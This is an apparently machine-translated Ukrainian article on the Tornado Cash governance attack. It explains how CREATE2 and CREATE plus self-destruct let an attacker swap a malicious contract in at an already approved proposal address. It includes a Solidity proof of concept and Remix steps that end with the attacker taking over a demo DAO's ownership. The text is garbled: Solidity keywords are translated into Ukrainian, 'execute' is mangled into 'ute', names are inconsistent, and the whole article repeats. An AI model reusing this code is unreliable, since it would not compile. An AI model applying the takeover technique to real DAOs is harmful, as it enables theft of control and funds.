Близько двох тижнів тому (20 травня) відомий протокол змішування валют Tornado Cash зазнав атаки на управління, і хакери отримали контроль (Власник) над контрактом на управління Tornado Cash.
Процес атаки виглядає наступним чином: зловмисник спочатку надсилає «звичайну» пропозицію, після того, як пропозицію прийнято, знищує адресу контракту, який має виконуватися пропозицією, і відтворює договір атаки за цією адресою.
Щодо процесу атаки, ви можете переглянути аналіз принципу атаки Tornado.Cash від SharkTeam [1] .
Ключем до атаки є розгортання різних контрактів на одній і тій же адресі. Як це досягається?
базові знання
У EVM є два коди операції для створення контрактів: CREATE і CREATE2.
СТВОРИТИ код операції
У разі використання new Token() для використання коду операції CREATE створена функція обчислення адреси контракту:
Створена адреса контракту визначається адресою творця + Nonce творця (кількість створених контрактів), оскільки Nonce завжди збільшується поступово, коли Nonce збільшується, створена адреса контракту завжди відрізняється.
Код операції CREATE2
Під час додавання нового маркера soli{salt: bytes32()}() використовується код операції CREATE2, а створена функція обчислення адреси контракту:
Адреса створеного контракту: адреса творця + користувацька сіль + байт-код смарт-контракту, який буде розгорнуто, тому можна використовувати лише той самий байт-код і те саме значення солі. Може бути розгорнуто на ту саму договірну адресу.
Отже, як різні контракти можна розгорнути за однією адресою?
Метод атаки
Зловмисник використовує Create2 і Create разом для створення контракту, як показано на малюнку:
Код, на який посилається:
Спочатку скористайтеся Create2, щоб розгорнути контракт Deployer, а потім скористайтеся Create in Deployer, щоб створити цільову контрактну пропозицію (для використання пропозиції). Обидва контракти Deployer і Proposal мають реалізацію самознищення (самознищення).
Після того, як пропозицію передано, зловмисник знищує контракти Deployer і Proposal, а потім повторно створює Deployer з тією самою планкою. Байт-код Deployer залишається тим самим, а планка залишається незмінною, тому та сама адреса контракту Deployer, що й раніше бути отримано, але в цей час стан контракту Deployer очищається, і nonce починається з 0, тому іншу атаку на контракт можна створити за допомогою цього nonce.
Приклад коду атаки
Цей код із:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
договір DAO {
struct Пропозиція {
цільова адреса;
bool затверджений;
bool uted;
}
адреса публічного власника = msg.sender;
Proposal[] публічні пропозиції;
функція approve(address target) external {
вимагати (msg.sender == власник, "не авторизований");
offers.push(Proposal({target: target, accepted: true, uted: false}));
}
функція ute(uint256 offerId) зовнішня оплата {
Пропозиція зберігання пропозиції = пропозиції [proposalId] ;
require(proposal.approved, "не схвалено");
вимагати (!proposal.uted, "uted");
offer.uted = правда;
(bool ok, ) = offer.target.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
вимагати (добре, "не вдалося виклику делегування");
}
}
договірна пропозиція {
журнал подій (рядок повідомлення);
функція uteProposal() зовнішній {
emit Log("Виконаний код, затверджений DAO");
}
функція EmergencyStop() зовнішня {
selfdestruct(payable(address(0)));
}
}
контрактна атака {
журнал подій (рядок повідомлення);
адреса державного власника;
функція uteProposal() зовнішній {
emit Log("Виконуваний код не схвалений DAO :)");
// Наприклад - встановити власника DAO як атакуючого
власник = msg.sender;
}
}
контракт DeployerDeployer {
Журнал подій (адреса addr);
функція deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
адреса addr = адреса (новий Deployer{salt: salt}());
видавати журнал (адреса);
}
}
контракт Deployer {
Журнал подій (адреса addr);
функція deployProposal() зовнішня {
адреса addr = адреса(нова пропозиція());
видавати журнал (адреса);
}
функція deployAttack() зовнішня {
адреса addr = адреса (нова атака());
видавати журнал (адреса);
}
функція kill() зовнішня {
selfdestruct(payable(address(0)));
}
}
Ви можете використати цей код, щоб самостійно пройти його в Remix.
Спочатку розгорніть DeployerDeployer, викличте DeployerDeployer.deploy(), щоб розгорнути Deployer, а потім викличте Deployer.deployProposal(), щоб розгорнути Пропозицію.
Після отримання адреси договору пропозиції пропозицій ініціюйте пропозицію до DAO.
Викличте Deployer.kill і Proposal.emergencyStop відповідно, щоб знищити Deployer і Proposal
Знову викличте DeployerDeployer.deploy() для розгортання Deployer, викличте Deployer.deployAttack() для розгортання Attack, і Attack відповідатиме попередній пропозиції.
Під час виконання DAO.ute атака отримала дозвіл власника DAO.
Переглянути оригінал
Контент має виключно довідковий характер і не є запрошенням до участі або пропозицією. Інвестиційні, податкові чи юридичні консультації не надаються. Перегляньте Відмову від відповідальності , щоб дізнатися більше про ризики.
Атака Tornado Governance: як розгорнути різні контракти на одній адресі
Близько двох тижнів тому (20 травня) відомий протокол змішування валют Tornado Cash зазнав атаки на управління, і хакери отримали контроль (Власник) над контрактом на управління Tornado Cash.
Процес атаки виглядає наступним чином: зловмисник спочатку надсилає «звичайну» пропозицію, після того, як пропозицію прийнято, знищує адресу контракту, який має виконуватися пропозицією, і відтворює договір атаки за цією адресою.
Щодо процесу атаки, ви можете переглянути аналіз принципу атаки Tornado.Cash від SharkTeam [1] .
Ключем до атаки є розгортання різних контрактів на одній і тій же адресі. Як це досягається?
базові знання
У EVM є два коди операції для створення контрактів: CREATE і CREATE2.
СТВОРИТИ код операції
У разі використання new Token() для використання коду операції CREATE створена функція обчислення адреси контракту:
адреса tokenAddr = bytes20(keccak256(senderAddress, nonce))
Створена адреса контракту визначається адресою творця + Nonce творця (кількість створених контрактів), оскільки Nonce завжди збільшується поступово, коли Nonce збільшується, створена адреса контракту завжди відрізняється.
Код операції CREATE2
Під час додавання нового маркера soli{salt: bytes32()}() використовується код операції CREATE2, а створена функція обчислення адреси контракту:
адреса tokenAddr = bytes20(keccak256(0xFF, senderAddress, сіль, байт-код))
Адреса створеного контракту: адреса творця + користувацька сіль + байт-код смарт-контракту, який буде розгорнуто, тому можна використовувати лише той самий байт-код і те саме значення солі. Може бути розгорнуто на ту саму договірну адресу.
Отже, як різні контракти можна розгорнути за однією адресою?
Метод атаки
Зловмисник використовує Create2 і Create разом для створення контракту, як показано на малюнку:
Спочатку скористайтеся Create2, щоб розгорнути контракт Deployer, а потім скористайтеся Create in Deployer, щоб створити цільову контрактну пропозицію (для використання пропозиції). Обидва контракти Deployer і Proposal мають реалізацію самознищення (самознищення).
Після того, як пропозицію передано, зловмисник знищує контракти Deployer і Proposal, а потім повторно створює Deployer з тією самою планкою. Байт-код Deployer залишається тим самим, а планка залишається незмінною, тому та сама адреса контракту Deployer, що й раніше бути отримано, але в цей час стан контракту Deployer очищається, і nonce починається з 0, тому іншу атаку на контракт можна створити за допомогою цього nonce.
Приклад коду атаки
Цей код із:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; договір DAO { struct Пропозиція { цільова адреса; bool затверджений; bool uted; } адреса публічного власника = msg.sender; Proposal[] публічні пропозиції; функція approve(address target) external { вимагати (msg.sender == власник, "не авторизований"); offers.push(Proposal({target: target, accepted: true, uted: false})); } функція ute(uint256 offerId) зовнішня оплата { Пропозиція зберігання пропозиції = пропозиції [proposalId] ; require(proposal.approved, "не схвалено"); вимагати (!proposal.uted, "uted"); offer.uted = правда; (bool ok, ) = offer.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); вимагати (добре, "не вдалося виклику делегування"); } } договірна пропозиція { журнал подій (рядок повідомлення); функція uteProposal() зовнішній { emit Log("Виконаний код, затверджений DAO"); } функція EmergencyStop() зовнішня { selfdestruct(payable(address(0))); } } контрактна атака { журнал подій (рядок повідомлення); адреса державного власника; функція uteProposal() зовнішній { emit Log("Виконуваний код не схвалений DAO :)"); // Наприклад - встановити власника DAO як атакуючого власник = msg.sender; } } контракт DeployerDeployer { Журнал подій (адреса addr); функція deploy() external { bytes32 salt = keccak256(abi.encode(uint(123))); адреса addr = адреса (новий Deployer{salt: salt}()); видавати журнал (адреса); } } контракт Deployer { Журнал подій (адреса addr); функція deployProposal() зовнішня { адреса addr = адреса(нова пропозиція()); видавати журнал (адреса); } функція deployAttack() зовнішня { адреса addr = адреса (нова атака()); видавати журнал (адреса); } функція kill() зовнішня { selfdestruct(payable(address(0))); } }
Ви можете використати цей код, щоб самостійно пройти його в Remix.